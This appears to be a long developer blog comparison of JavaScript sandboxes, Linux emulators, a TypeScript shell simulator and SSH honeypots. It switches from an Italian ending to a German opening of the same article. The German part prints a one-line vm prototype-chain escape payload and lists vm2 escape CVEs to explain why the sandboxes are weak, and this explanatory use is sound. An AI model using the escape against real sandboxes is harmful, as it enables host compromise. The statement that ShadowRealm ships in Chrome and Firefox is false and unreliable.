L'isolamento qui è imposto dal livello VFS (la shell del worker thread può vedere solo il filesystem virtuale, mai il filesystem host) più l'isolamento della memoria del Worker thread Node.js. Questo è più leggero di isolated-vm ma più appropriato per l'isolamento a livello di shell piuttosto che per l'isolamento a livello JS.

Limitazione delle risorse

Puoi configurare limiti di risorse per shell che influenzano ciò che i comandi di monitoraggio del sistema riportano:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

All'interno di quella shell, free -m mostra 512 MB di RAM totale. nproc restituisce 2. /proc/meminfo mostra i valori limitati. htop e top mostrano il numero di CPU limitato. Questo ti permette di fingerprintare il profilo hardware della macchina finta con precisione.

Tre modalità di deploy

Modalità 1: Server SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → Vero protocollo SSH, vero SFTP, vero SCP
  → Caso d'uso: honeypot, ambienti di test remoti, laboratori di formazione

Modalità 2: Web shell (browser)
  builds/fortune-nyx-v1.7.8-web.min.js (bundle ESM)
  → Funziona nel browser, VFS persistito in IndexedDB
  → Caso d'uso: tutorial interattivi, terminali incorporati, demo
  → Bonus: esegui startxfce4 per un desktop XFCE simulato completo

Modalità 3: CLI standalone
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (file singolo, nessuna installazione)
  → curl ed esegui, persiste VFS in directory .vfs/
  → Caso d'uso: demo rapide, sperimentazione locale

I polyfill -- come funziona il build browser senza Wasm

OK, questa è la parte che trovo genuinamente intelligente e volevo evidenziare specificamente.

Far funzionare una libreria Node.js nel browser è di solito un incubo. O usi un runtime Wasm (pesante, lento da caricare) o passi settimane a sostituire manualmente ogni import node:* con un'alternativa compatibile con il browser. Fortune ha fatto la seconda cosa -- ma molto pulitamente, scrivendo un set di polyfill personalizzati che vivono nella directory polyfills/ del repository.

La pipeline di build è semplicemente esbuild con un mucchio di alias:

// demo/build.js -- the entire browser build config
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Niente Wasm. Nessuna libreria polyfill esterna. Nessuna assurdità webpack-node-externals. Solo moduli aliasati e un paio di globali iniettati. Lascia che li analizzi uno per uno perché alcuni sono genuinamente impressionanti.

node:fs -- IndexedDB come filesystem finto

Questo è il mio preferito. Il polyfill node:fs implementa l'API fs sincrona di Node.js (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) supportata da due livelli: una Map in memoria per le letture sincrone e IndexedDB per la persistenza tra ricariche di pagina. Le scritture colpiscono la Map immediatamente (quindi readFileSync subito dopo writeFileSync funziona sempre), poi vengono scaricate in IndexedDB in modo asincrono in background.

// Sync cache (path → Uint8Array | null) -- instant reads
const memCache = new Map();

// Preload everything from IndexedDB into memCache at startup
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Questa è la ragione per cui lo snapshot VFS sopravvive alle ricariche di pagina nel browser -- l'intero binario .vfsb viene scritto in IndexedDB tramite questo polyfill e riletto al caricamento successivo. Nessun Wasm. Nessun server. Solo IndexedDB, che è in ogni browser da circa il 2011.

node:crypto -- SHA-256 in puro JS

Invece di tirare dentro una libreria crittografica Wasm, il polyfill crypto implementa SHA-256 da zero usando le costanti di round FIPS 180-4. 166 righe di puro JS con supporto completo per output hex/base64/Uint8Array. Tutto l'hashing nella libreria passa attraverso questo -- fingerprinting della chiave host SSH, checksum interni, tutto. Compatto, zero dipendenze, semplicemente funziona.

node:os -- legge l'hardware reale del browser

Questo è un bel tocco. Invece di restituire valori fittizi, node:os legge navigator.deviceMemory per la RAM totale e navigator.hardwareConcurrency per il conteggio CPU. Quindi neofetch all'interno del build browser riporta effettivamente qualcosa che corrisponde alla tua macchina reale -- non uno stub inventato 2 core, 2GB RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB fallback
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // also parses navigator.userAgent to guess the CPU model string
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- stub onesti

Il browser non può aprire socket TCP o eseguire vero SSH, quindi questi sono stub che lanciano un errore NotImplemented con un messaggio chiaro se qualcosa cerca di usarli. Nessun fallimento silenzioso, nessun undefined restituito dove ci si aspetta un oggetto. Solo un forte e chiaro "questo non funziona nel browser" -- che è esattamente ciò che vuoi.

process.js e buffer.js -- globali iniettati

Questi due sono iniettati all'inizio di ogni file bundled tramite l'opzione inject di esbuild, quindi process e Buffer sono disponibili globalmente senza alcun import esplicito. process.js è minuscolo: env, version, platform: 'browser', nextTick tramite queueMicrotask, uptime tramite performance.now(). buffer.js è una piena reimplementazione di Buffer sopra Uint8Array -- tutti i metodi readUInt32BE, writeInt16LE, codifica hex/base64 da cui dipendono l'implementazione SSH e il VFS.


L'intero set di polyfill è circa 640 righe di JS scritto a mano in totale. Nessun pacchetto npm. Nessun Wasm. E il risultato è un bundle browser che è solo la libreria, funzionante nativamente, con nessuna della solita ansia "ma funziona davvero nel browser?" che si ha con le librerie Node-first. Vale uno sguardo alla cartella polyfills/ nel repository se sei curioso -- ogni file è ben contenuto e leggibile da solo, che è una scelta di stile che apprezzo molto.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Categoria Sandbox JS Sandbox JS Sandbox JS Emulatore Emulatore Node.js/Wasm Honeypot Simulatore
Isola JS ⚠️ scope ✅ V8 Isolate ✅ Wasm n/a n/a parziale n/a ✅ Worker
Kernel Linux reale ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Interprete shell ❌ ❌ ❌ ✅ (reale) ✅ (reale) ✅ (reale) parziale ✅ (custom)
~170 comandi Unix ❌ ❌ ❌ ✅ ✅ parziale ~20 ✅
Permessi POSIX ❌ ❌ ❌ ✅ ✅ ✅ parziale ✅ imposti
Gestione utenti ❌ ❌ ❌ ✅ ✅ ❌ minimale ✅ completo
Server SSH reale ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/audit ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
Diff/snapshot VFS ❌ ❌ ❌ limitato ❌ ❌ ❌ ✅
Rete virtuale L2/L3 ❌ ❌ ❌ base ❌ ❌ ❌ ✅ completo
VPN virtuale ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Supporto browser ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js nativo ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
API tipizzata base ✅ ✅ minimale ❌ ✅ ❌ ✅ completo
Compatibilità binaria n/a n/a n/a ✅ ✅ parziale n/a ❌
Tempo avvio istantaneo istantaneo istantaneo 15–40s 15–40s 2–5s istantaneo <1s
RAM/istanza ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
Dipendenze runtime 0 1 (nativa) 1 (Wasm) 0 proprietario 1 dip. Python 3 (ssh2, ws, fflate)
Stato stabile ✅ attivo ✅ attivo ✅ molto attivo commerciale ✅ attivo ✅ attivo ✅ attivo

Quando usare cosa

Devi eseguire JavaScript non fidato -- una formula inviata dall'utente, un plugin, uno script hook.
→ isolated-vm. Vero V8 Isolate, limiti di memoria rigidi, ponte di comunicazione esplicito. Evita vm2 -- la lista CVE continua a crescere, seriamente è come una nuova ogni pochi mesi. Evita vm -- non è affatto una sandbox, per favore.

Devi fare sandboxing JS e non vuoi un addon nativo, o hai bisogno di compatibilità browser.
→ quickjs-emscripten. Confine Wasm, modulo ~500 KB, funziona in browser e Node. Più lento di V8 ma genuinamente isolato.

Devi avviare un vero sistema operativo Linux non modificato con compatibilità binaria.
→ v86 per Linux 32-bit, o container2wasm se hai un'immagine Docker esistente. Accetta 150 MB+ di RAM e un avvio di 30 secondi, è così e basta. Se hai bisogno di 64-bit, guarda CheerpX o usa un runtime container reale.

Devi incorporare un terminale simile a Linux in un'app web senza backend.
→ v86 (OS completo, pesante, lento da avviare) o il bundle browser di typescript-virtual-container (simulatore, più leggero, avvio istantaneo, include startxfce4 per un desktop completo che è piuttosto figo, ngl).

Hai bisogno di tutorial di programmazione interattivi online o un IDE nel browser.
→ WebContainers se sei focalizzato sull'ecosistema Node.js. CheerpX se hai bisogno di un vero userland Linux. Il bundle browser di typescript-virtual-container se vuoi un'opzione più leggera con un'API tipizzata.

Vuoi raccogliere TTP degli attaccanti SSH su larga scala.
→ Cowrie è lo standard di produzione, punto. Funziona su qualsiasi server Linux, si integra con ogni SIEM, ora ha la modalità LLM. Usa Cowrie e basta.

Vuoi dati honeypot SSH in un'applicazione Node.js con un'API programmatica.
→ typescript-virtual-container. I comandi vengono effettivamente eseguiti. Il VFS è una vera struttura dati che puoi snapshotare e confrontare. L'attaccante ottiene un ambiente interattivo convincente, e tu ottieni dati di audit strutturati senza lasciare Node.

Hai bisogno di automazione/test di shell in CI senza Docker.
→ typescript-virtual-container. Si avvia in meno di un secondo, snapshot prima di un test, ripristina dopo. Esegui comandi shell con un'API tipizzata. Nessun demone Docker, nessun kernel, nessuna VM, nessuna attesa.

Hai bisogno di ambienti shell multi-tenant (SaaS, istruzione, formazione).
→ typescript-virtual-container. 5–20 MB per istanza contro 150–256 MB per un emulatore. 100 utenti concorrenti: ~2 GB contro ~25 GB. È una grande differenza nei costi di hosting!

Hai bisogno di un honeypot realistico che ti permetta anche di costruire un laboratorio di rete multi-VM.
→ typescript-virtual-container è l'unica cosa in questo spazio che fa entrambe le cose.


Cosa non può fare (e voglio essere onesto su questo)

Non può eseguire binari x86 nativi. Se hai bisogno di compilare codice C, eseguire un vero interprete Python o usare software compilato per Linux, non c'è un ABI del kernel per supportare quelle syscall. Comandi come gcc, python3 e node sono stub -- rispondono a --version e invocazioni comuni, ma non eseguono nulla di reale.

Questo è il compromesso fondamentale: guadagni 10–50x meno memoria, avvio istantaneo, compatibilità browser, un'API tipizzata, vero SSH e rete virtuale -- e rinunci alla compatibilità binaria con l'userland Linux.

Fortune ci ha pensato molto quando ha progettato il progetto. Per i casi d'uso a cui mirava -- honeypot, test, terminali incorporati, ambienti CI -- eseguire un binario compilato non è mai realmente necessario. Pipeline di shell, manipolazione di file, routing di rete e SSH coprono tutto. Ma se il tuo caso d'uso richiede vero software compilato, v86 o Docker sono la risposta giusta, non questo.


Per concludere

Quindi sì. Questo ecosistema è più ampio e frammentato di quanto sembri dall'esterno. vm è un separatore di scope, non una sandbox. vm2 continua ad accumulare CVE (davvero, controlla gli advisory di questo mese). isolated-vm è la risposta corretta per il sandboxing JS ma solo JS. quickjs-emscripten è la scelta giusta quando hai bisogno di compatibilità browser o vuoi evitare addon nativi. v86 e CheerpX sono veri emulatori quando hai bisogno di vera compatibilità binaria. WebContainers è Node.js in Wasm, non un ambiente Linux generico. Cowrie è lo standard aureo per honeypot SSH, ma è Python e non Node-nativo.

E poi c'è typescript-virtual-container -- il progetto di Fortune -- che vive un po' in una categoria propria. Non un emulatore, non una sandbox JS, non un honeypot passivo. Qualcosa di mezzo tra tutti loro che si è rivelato sorprendentemente utile per molte cose che nessuno degli altri può fare.

typescript-virtual-container colma il divario che nessun altro tocca: un ambiente shell Linux completo e programmatico con vero SSH, SFTP, permessi POSIX, gestione utenti, rete virtuale e un'API TypeScript tipizzata -- che funziona in ~10 MB, si avvia in meno di un secondo, funziona sia in Node.js che nel browser.

Se vuoi provarlo: il sorgente è su github.com/itsrealfortune/typescript-virtual-container e c'è una demo live (incluso startxfce4 per un desktop completo, che è onestamente pazzesco) su itsrealfortune.fr/typescript-virtual-container/demo. Dai un'occhiata e lascia qualche stella a Fortune su GitHub, se lo merita!

Grazie per aver letto -- questo è stato lungo anche per i miei standard :) spero sia stato utile!


Fonti

Ho cercato di collegare ogni affermazione a una fonte primaria -- advisory CVE, documentazione ufficiale, repository GitHub, post di blog dei maintainer. Un paio di note: la lista CVE di vm2 continua a crescere quindi il link FortiGuard potrebbe essere obsoleto quando lo leggerai (controlla la pagina degli advisory GitHub per gli ultimi). I link di Bellard sono tutti stabili -- il suo sito personale è attivo da sempre e il contenuto non cambia. E se vuoi approfondire uno qualsiasi dei polyfill, sfoglia direttamente la cartella polyfills/ nel repository typescript-virtual-container -- è più leggibile di qualsiasi descrizione che potrei scrivere qui.

Sandbox JavaScript

Emulatori Linux

Stack terminale

Honeypot

typescript-virtual-container

Letture di approfondimento

JavaScript-Lösungen für Linux-Kernel-Simulationen im Vergleich

Eine tiefgehende Analyse von Linux-Umgebungs-Nachbildungen in

Jede JavaScript-Sandbox, Emulator, Simulator und Honeypot – im Vergleich

Okay, ich stecke schon seit einer Weile viel zu tief in diesem Kaninchenbau. Es hat damit angefangen, dass ich bei typescript-virtual-container geholfen habe – einem Projekt von Fortune (mehr dazu später) – und ständig gefragt wurde: „Was ist der Unterschied zu v86?" oder „Warum nicht einfach vm2?" – und mir wurde klar, dass ich keine saubere Antwort geben konnte, ohne das gesamte Ökosystem zu kartieren. Also, hier sind wir lol.

Es stellt sich heraus, dass es vier verschiedene Familien gibt – JS-Sandboxes, Linux-Emulatoren, Linux-Simulatoren und Honeypots – und sie überschneiden sich fast nie, obwohl sie ständig im selben Atemzug genannt werden. Jemand, der ein Plugin-System baut, greift zu isolated-vm. Jemand, der ein CLI-Tool demonstriert, greift zu v86. Jemand, der SSH-Bedrohungsanalyse betreibt, greift zu Cowrie. Sie lösen völlig unterschiedliche Probleme unter demselben vagen Überbegriff „Code in einer Kiste ausführen."

Ich habe viel Zeit damit verbracht, Quellcode, CVE-Berichte, Architektur-Dokumente und npm-Seiten zu lesen, um das zu schreiben. Das wird seeeehr lang – hol dir einen Kaffee, ernsthaft. Oder zwei.

Kurzer Hinweis: typescript-virtual-container wird in diesem Artikel stark thematisiert, weil es diese Recherche ausgelöst hat. Ich habe versucht, fair zu allem anderen zu sein, aber behalte diesen Kontext im Hinterkopf.


Teil 0 – Zuerst: Welches Problem löst du eigentlich?

Bevor wir eintauchen, lohnt es sich, genau zu definieren, wofür jede Familie da ist, weil die Begriffe schnell schlampig werden und die Leute sie ständig verwechseln (mich eingeschlossen, bevor ich mich hingesetzt und alles kartiert habe).

JS-Sandboxes isolieren JavaScript-Code vom Host-Node.js-Prozess. Das Bedrohungsmodell ist: nicht vertrauenswürdiger JS-Code, der process.exit() aufrufen, Dateien lesen oder Child-Prozesse starten könnte. Die Lösung ist eine Grenze um die V8-Ausführung. Diese Tools haben kein Konzept einer Linux-Shell, eines Dateisystems mit Berechtigungen oder SSH.

Linux-Emulatoren führen einen echten, unveränderten Linux-Kernel in einem CPU-Emulator (x86, RISC-V, OR1K) aus, der in JavaScript oder WebAssembly implementiert ist. Du bootest ein echtes Betriebssystem. Du bekommst echte Syscalls. Du bekommst Binärkompatibilität mit x86-kompilierten Programmen. Der Overhead ist enorm.

Linux-Simulatoren imitieren das Verhalten eines Linux-Systems, ohne einen echten Kernel auszuführen. Sie implementieren einen Shell-Interpreter, ein virtuelles Dateisystem und genug Unix-Semantik, um Programme und Menschen zu täuschen. Kein Kernel. Kein Wasm. Keine CPU-Emulation. Viel geringerer Overhead.

Honeypots sind dazu gebaut, Angreifer anzulocken und aufzuzeichnen, was sie tun. Sie sind in erster Linie keine Ausführungsumgebungen – sie sind Beobachtbarkeitswerkzeuge. Die Wiedergabetreue zum echten Linux-Verhalten ist nur insofern wichtig, als sie den Angreifer daran hindert, die Falle zu erkennen.

Mit diesem Rahmen hier, wo jedes Projekt in diesem Artikel landet:

JS-Sandbox:        vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linux-Emulator:    v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linux-Simulator:   typescript-virtual-container (einzigartig in diesem Bereich)
Honeypot:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Terminal-Stack:    xterm.js + node-pty (kein Isolator, aber angrenzend)

Teil 1 – JavaScript-Sandboxes

1.1 vm – der Node.js-Built-in (nicht das, was du denkst)

Die älteste Antwort auf „untrusted JS ausführen" in Node ist das eingebaute vm-Modul. Es gibt es seit v0.1, also greifen viele Leute zuerst danach – und verbrennen sich dann.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Was vm tatsächlich tut: Es erstellt einen neuen V8-Kontext (einen frischen Satz eingebauter Konstruktoren – Object, Array, Function, etc.) und führt Code darin aus, mit einer gemeinsamen Referenz auf das, was du in sandbox gelegt hast. Deine V8-Engine ändert sich nicht. Dein Prozess ändert sich nicht. Speicher wird geteilt.

Der Grund, warum vm keine Sicherheit bietet: Die JavaScript-Prototypenkette ist ein DAG, der alles zurück zu Object.prototype verbindet. Wenn du irgendein Objekt aus der Host-Realm in die Sandbox legst, kann der Gast seine Prototypenkette hochklettern und Host-Konstruktoren erreichen. Von Function aus kannst du Function("return process")() aufrufen und das echte process-Objekt wiederherstellen. Game over. Sofort.

// Das läuft problemlos in vm – du bekommst das echte process-Objekt zurück
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Ich meine, die Node.js-Dokumentation selbst sagt: „Das vm-Modul ist kein Sicherheitsmechanismus. Verwende es nicht, um nicht vertrauenswürdigen Code auszuführen." Diese Warnung gibt es schon seit Ewigkeiten. Die Leute ignorieren sie ständig. Ich habe Produktions-Apps gesehen, die vm als Sandbox verwenden. Bitte tu das nicht xD

Fazit: ein Scope-Mechanismus, keine Sandbox. Verwende es, wenn du isolierte Variablenbereiche brauchst (Template-Engines, eval-ähnliche Funktionen, bei denen du den Code kontrollierst). Nie für nicht vertrauenswürdige Eingaben.

Speicher: vernachlässigbarer Overhead – derselbe V8-Heap wie der Host-Prozess.
Sicherheit: keine gegen einen motivierten Angreifer.


1.2 vm2 – der Community-Versuch und sein sehr langer Tod

vm2 war die Antwort der Community auf vms Escape-Problem. Die Kernidee: Jedes Objekt, das die Sandbox-Grenze überschreitet, in einen Proxy einwickeln, der den Eigenschaftszugriff abfängt, das Prototyp-Klettern blockiert und gefährliche Referenzen herausfiltert. Clevere Idee in der Theorie! In der Praxis weniger, wie wir sehen werden.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // wirft VMError, process nicht zugänglich

Mehrere Jahre lang funktionierte das einigermaßen gut. Aber die Angriffsfläche von JavaScript Proxy ist enorm. Jedes neue JS-Sprachfeature – Generatoren, Async-Iteratoren, Symbol.toPrimitive, Error.prepareStackTrace, Promise-interne Slots – ist ein potenzieller Bypass-Vektor.

Die CVE-Zeitleiste ist... heftig. Schau dir das an:

Datum CVE Mechanismus
Okt 2022 CVE-2022-36067 Error.prepareStackTrace Host-Kontext-Escape
Apr 2023 CVE-2023-29017 Unbehandelter Async-Error-Stack-Host-Objekt-Leak
Apr 2023 CVE-2023-29199 Exception-Sanitisierungs-Bypass via handleException()
Apr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Mai 2023 CVE-2023-32314 Proxy auf Error.name → Function → RCE
Jul 2023 CVE-2023-37466 Async-Funktion + Stack-Overflow + Proxy.getPrototypeOf
Jul 2023 CVE-2023-37903 Worker-Thread + eval Escape

Drei kritische CVEs im selben Monat (April 2023). DREI. IN EINEM MONAT. Nach CVE-2023-37903 hat der Maintainer die Bibliothek offiziell als veraltet markiert mit der Nachricht: „Die Bibliothek enthält kritische Sicherheitsprobleme und sollte nicht für die Produktion verwendet werden."

Der Maintainer hat sie im Oktober 2025 mit Version 3.10.0 wiederbelebt und behauptet, alles damals Bekannte behoben zu haben. Ein neuer kritischer Escape (CVE-2026-22709, CVSS 9.8) wurde im Januar 2026 offengelegt, gefolgt von einem ganzen Batch von elf weiteren im Mai 2026. Elf. Das Muster hat sich nicht geändert, und ehrlich gesagt glaube ich nicht, dass es sich jemals ändern wird.

Das grundlegende Problem ist architektonisch – und das ist die Lektion, die das gesamte Ökosystem eine Weile brauchte, um zu lernen. Du kannst keine sichere Sandbox mit derselben Sprache bauen, die du sandboxt, auf derselben Engine, im selben Prozess. Die Angriffsfläche ist die gesamte V8-Implementierung – und V8 ist mehrere Millionen Zeilen C++, die sich ständig ändert. Jedes neue JS-Feature öffnet potenziell einen neuen Angriffspfad.

Fazit: Nicht für sicherheitskritische Anwendungen verwenden. Selbst in der neuesten Version werden alle paar Monate neue Bypässe entdeckt. Der Maintainer selbst hat dies offen eingeräumt.


1.3 isolated-vm – der, der tatsächlich funktioniert

isolated-vm verfolgt den korrekten Ansatz: V8s eigene Isolationsprimitive, das Isolate, verwenden. Jedes V8-Isolate hat seinen eigenen Heap, seinen eigenen Garbage Collector, seinen eigenen Satz eingebauter Funktionen und null gemeinsame Referenzen mit anderen Isolates.

Das ist die gleiche Grenze, die Chrome zwischen Tabs verwendet. Es ist eine echte Sicherheitsgrenze, kein Sprach-Trick auf Basis von Proxy.

import ivm from "isolated-vm";

// Jedes Isolate ist ein eigener V8-Heap
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB-Limit
const context = await isolate.createContext();
const jail = context.global;

// Daten über die Grenze zu übertragen, erfordert explizite Serialisierung
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Kann nicht auf Host-Prozess, Host-Heap oder Host-Module zugreifen
  log.applySync(undefined, ["hallo aus dem Isolate"]);
`);
await script.run(context);

// Du kannst bei Timeout oder Speicherlimit hart terminieren
isolate.dispose(); // gibt den gesamten Heap frei

Die Typen Reference und ExternalCopy sind die explizite Kommunikationsbrücke. Ein Reference gibt dem Isolate ein aufrufbares Handle zu einer Host-Funktion – das Isolate kann sie aufrufen, aber nicht ihren Closure- oder Prototyp inspizieren. Ein ExternalCopy serialisiert einen Wert (strukturierte Klonierung) über die Heap-Grenze hinweg. Dieses explizite Bridge-Modell ist nicht bequem, aber es macht die Isolation real.

Du kannst harte Ressourcenlimits setzen: Speicher (das Isolate wird terminiert, wenn es das Limit überschreitet), Wanduhr-Timeout und CPU-Timeout. Die Terminierung ist echt – sie tötet das gesamte V8-Isolate, nicht nur ein JS-Timeout, das mit einem while(true) umgangen werden kann.

Einschränkungen: es ist nur JS. Du kannst darin kein Bash ausführen. Es gibt kein Konzept von Dateien, Berechtigungen, Netzwerk oder Prozessen. Es ist genau das richtige Werkzeug für benutzereingereichten JS-Code (Plugins, Formeln, Script-Hooks) und das falsche Werkzeug für alles andere. Die Autorin von typescript-virtual-container hat erwähnt, dass sie es früh in Betracht gezogen hat, bevor ihr klar wurde, dass „Shell-Befehle ausführen" und „JavaScript isolieren" grundlegend unterschiedliche Probleme sind.

Speicher: ~3–10 MB pro leerem Isolate, wächst mit Heap-Nutzung.
Sicherheit: stark. Die V8-Isolate-Grenze ist die echte Isolationsprimitive.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten – eine separate JS-Engine, kompiliert zu Wasm

Ein anderer Ansatz: Anstatt innerhalb von V8 zu isolieren, eine vollständig separate JavaScript-Engine ausführen, die zu WebAssembly kompiliert wurde. Der Host läuft in V8/Node. Der Gast läuft in QuickJS-in-Wasm. Die Wasm-Sandbox bietet die Isolationsgrenze.

QuickJS ist wieder Fabrice Bellards Werk (derselbe Typ hinter QEMU, FFmpeg, JSLinux, TinyEMU – diese Person ist nicht echt, wie macht eine Person das alles?). Es ist eine kleine, spezifikationskonforme ES2023-JS-Engine, geschrieben in C, und wenn sie zu Wasm kompiliert ist, nur ~500 KB groß.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Läuft in QuickJS, komplett getrennt von V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS ist eine kleine, spezifikationskonforme ES2023-JavaScript-Engine, geschrieben in C. Kompiliert zu Wasm ist sie ~500 KB für die synchrone Variante, ~1 MB für die asynchrone (Asyncify) Variante. Die Speicherverwaltung ist manuell – jeder Wert, den du aus der VM extrahierst, muss explizit freigegeben werden, was etwas nervig ist, aber Cross-Boundary-GC-Überraschungen verhindert. Lustiger Tradeoff!

Der @sebastianwessel/quickjs-Wrapper fügt eine ergonomischere API hinzu, mit optionalem virtuellem Dateisystem, Fetch-Unterstützung und Node.js-Modul-Stubs:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Das Sicherheitsmodell unterscheidet sich von isolated-vm: Wasms lineares Speichermodell bedeutet, dass der Gast nicht direkt auf V8-Heap-Objekte zugreifen kann. Die Angriffsfläche ist die Host↔Wasm-Schnittstelle (Imports/Exports), nicht die gesamte JS-Sprache. Dies wird allgemein als robuster angesehen als Proxy-basiertes Sandboxing.

Der Haken: QuickJS hat nicht das gleiche Optimierungsniveau wie V8. Für CPU-intensive JS-Workloads ist es 5–20x langsamer als V8. Für kurze Schnipsel und nicht vertrauenswürdige Eval macht das meistens nichts.

Speicher: ~500 KB Wasm-Modul + Heap pro Instanz.
Sicherheit: Wasm-Grenze, gilt als stärker als Proxy-basierte Ansätze.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno – Permissions-First-Runtime

Deno verfolgt eine völlig andere Philosophie: Anstatt innerhalb von Node zu sandboxen, eine neue Runtime bauen, die von Haus aus sicher ist. Ich mag diesen Ansatz sehr – das hätte Node.js von Anfang an sein sollen, ehrlich gesagt. Ryan Dahl (der ursprüngliche Node.js-Erfinder) hat Deno buchstäblich gemacht, weil er einige Node.js-Designentscheidungen bereut hat, was irgendwie verrückt ist, wenn man darüber nachdenkt.

Jede sensible Fähigkeit (Datei lesen, Datei schreiben, Netzwerk, Umgebungsvariablen, Subprozesse) erfordert ein explizites --allow-*-Flag:

# Das kann nur aus /data lesen, nichts weiter
deno run --allow-read=/data script.ts

# Das kann nur eine Domain fetchen
deno run --allow-net=api.example.com script.ts

# Keine Flags = gar keine Berechtigungen
deno run untrusted.ts # kann nicht lesen, schreiben, netzwerken, spawnen

Das Berechtigungsmodell ist auf Rust/OS-Ebene implementiert – es ist kein JS-Trick. Wenn Deno-Code Deno.readFile() aufruft, geht das durch eine Rust-Op, die die Berechtigungstabelle prüft, bevor sie das Dateisystem berührt. Du kannst es nicht aus JS umgehen, weil der Syscall nie stattfindet, wenn die Berechtigung nicht erteilt wurde.

Für die Ausführung von wirklich nicht vertrauenswürdigem Code bieten Deno Workers (Web Worker) ein zweites Isolate innerhalb desselben Prozesses, jedes mit eigenem Berechtigungssatz. Du kannst einen Worker mit null Berechtigungen starten und über postMessage mit ihm kommunizieren.

Deno 2 (veröffentlicht Oktober 2024) hat vollständige npm-Kompatibilität und Node.js-Kompatibilitäts-Shims hinzugefügt, was die Akzeptanz für serverseitige Anwendungsfälle deutlich verbessert hat.

Der Tradeoff: Denos Sicherheitsmodell ist hervorragend für Code, dem du teilweise vertraust. Für völlig nicht vertrauenswürdigen Code, der feindselig sein könnte, hilft das Berechtigungsmodell nicht – du brauchst eine Isolate-Grenze (isolated-vm) oder eine andere Engine (quickjs-emscripten), weil Deno immer noch V8 verwendet und ausgefeilte Angreifer V8-Level-Bugs finden können.


1.6 TC39 ShadowRealm – die Standard-Antwort (irgendwann)

Das JavaScript-Standardgremium (TC39) hat einen Vorschlag namens ShadowRealm, der versucht zu standardisieren, was vm und vm2 zu tun versuchten, aber mit einem korrekten Sicherheitsmodell. Ein ShadowRealm erstellt einen isolierten JS-Ausführungskontext mit eigenem Satz intrinsischer Funktionen, keinem Zugriff auf die äußere Realm und einer sorgfältig kontrollierten Import/Export-Schnittstelle.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Separate Intrinsics, kein Zugriff auf äußere Realm
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm ist in Browsern (Chrome 90+, Firefox 105+), aber Stand 2026 noch nicht in Node.js stabil. Der TC39 Compartments-Vorschlag baut darauf für Modul-Level-Isolation auf. Dies sind die langfristigen standardisierten Antworten, aber sie sind noch nicht produktionsreif für serverseitige Node-Anwendungsfälle. Es ist eines dieser Dinge, bei denen du es von Meilenweit kommen siehst, aber es ist einfach... noch nicht da. Klassisches TC39 xD


Sandbox-Familien-Zusammenfassung

